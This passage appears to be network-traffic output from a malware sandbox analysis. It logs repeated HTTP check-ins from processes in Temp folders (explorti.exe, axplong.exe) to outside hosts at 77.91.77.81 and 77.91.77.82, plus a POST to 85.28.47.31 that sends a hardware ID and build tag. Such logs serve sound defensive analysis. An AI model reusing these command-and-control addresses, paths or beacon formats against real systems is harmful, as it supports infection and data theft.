Jul 24, 2024 02:40:25.212527990 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:40:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:40:25.214351892 CEST	408	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 85.28.47.31 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="build"sila------HDGIJJDGCBKFIDHIEBKE--
Jul 24, 2024 02:40:25.397774935 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:40:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49904	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:25.233067989 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:25.964647055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:25.965229034 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:26.192214966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49905	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:25.233083010 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:25.959938049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:25.960591078 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:26.184402943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49907	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:26.294718981 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:27.018814087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:27.019406080 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:27.252053976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49908	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:26.309653997 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:27.013638973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:27.014343977 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:27.240740061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49909	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:27.366034985 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:28.105379105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:28.107177019 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:28.329948902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49910	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:27.366177082 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:28.109165907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:28.110409975 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:28.329464912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49911	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:28.474715948 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:29.182651043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:29.183212996 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:29.409938097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49912	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:28.474816084 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:29.180731058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:29.181690931 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:29.398714066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49913	77.91.77.82	80	11024	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:29.511413097 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:33.253118038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:33.267644882 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 24, 2024 02:40:33.499747992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49914	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:29.524967909 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:30.226041079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:30.226866961 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:30.451791048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49915	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:30.571386099 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:31.267792940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:31.268507957 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Jul 24, 2024 02:40:31.487749100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49916	77.91.77.81	80	11004	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 02:40:31.612725019 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 24, 2024 02:40:32.328102112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Jul 2024 00:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 24, 2024 02:40:32.331815958 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
